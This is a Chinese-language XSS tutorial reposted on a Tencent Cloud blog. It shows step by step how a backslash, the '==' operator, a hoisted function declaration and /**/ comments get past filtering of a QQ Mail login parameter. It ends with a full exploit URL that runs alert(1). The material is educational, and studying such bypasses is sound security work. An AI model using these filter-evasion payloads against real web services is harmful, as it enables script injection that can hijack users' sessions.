前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 5. 反斜线复仇记

那些年我们一起学XSS - 5. 反斜线复仇记

作者头像
渗透攻击红队
发布2019-11-20 11:18:03
7650
发布2019-11-20 11:18:03
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

反斜线复仇记

漏洞简介

代码语言:javascript
复制
还是在<script>之间的场景,某些情况下,我们仅仅需要的只是一个反斜线,就可以绕过过滤了

1. 有以下实例点。

代码语言:javascript
复制
http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

对应的输出,如下图所示:

经过测试,我们可以看到,双引号是用不了, 但是 反斜线还可以使用。

那么这里是否可以成功的XSS呢?我们把缺陷代码部分提取出来。

代码语言:javascript
复制
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="+"&ss=aaa"+"&from=bbb"+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>

2. 可以看到有缺陷的部分是

代码语言:javascript
复制
location.href="........."+"&ss=aaaa"+"&from=bbb"+"&param=";//后面省略。

我们可以控制的是 aaaa ,又不能用",怎么办呢? 因为我们可以使用 \,那么我们可以杀掉 aaaa 后面的 双引号。

代码语言:javascript
复制
location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";

可以看到代码的结果因为一个反斜线发生了变化,如下图:

为了保证 bbb 后面的语法正确性,我们把bbb改为一个数字,把bbb后面加上 // 来注释掉后面的部分。变成以下形式。

代码语言:javascript
复制
location.href="........."+"&ss=aaaa\"+"&from=1//"+"&param=";

3. 看起来不错哦,但是会出来一些问题,"字符串"&from=1,这样是错误的,因为&符号的优先级高, ("字符串"&from)=1 是无法进行这种赋值操作的。这样一来还是不行。别着急。我们可以稍微改动一下。变为以下形式。

代码语言:javascript
复制
location.href="........."+"&ss=aaaa\"+"&from==1//"+"&param=";

由于==的优先级比 & 高,所以语句相当于 ("字符串")&(from==1) 4. 更顺眼了,但是还是会悲剧啊。由于from未定义,直接和1进行相等判断的话,会报错,错误是:“from”未定义。。。怎么办呢? 5. 别紧张,javascript里有一个特性。如下:

代码语言:javascript
复制
aaa();
function aaa(){

}

凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。换句话说: 解析器在解析JS代码段时,会先将 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分。换句话说,上面的代码,实际的解析顺序是:

代码语言:javascript
复制
function aaa(){
}
aaa();

利用这样一个特性,我们的代码可以改改。

代码语言:javascript
复制
location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";

这样一来,我们的 function from(){} 就会被提前解析,从而定义了from, 后面 from==1的时候,就不会报错啦~~ 6. 故事往往是曲折的,到了这一步,我们会发现还是不行。 看一看源代码吧~~ ,哎,我们的空格被转义为了 &nbsp;

7. 当然,这么一点小事情,难不到我们的,我们用注释符来做分隔符。/**/替换空格,有没有觉得和 sql注入一样了,咔咔。 于是,我们的代码变为了:

代码语言:javascript
复制
location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";

8. 嗯,这次没有语法错误了,我们插入我们自己的JS代码。

代码语言:javascript
复制
location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";

最终的利用代码如下:

代码语言:javascript
复制
http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

---------------------------- 恩,这次是我们的 反斜线为 双引号报仇啦!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档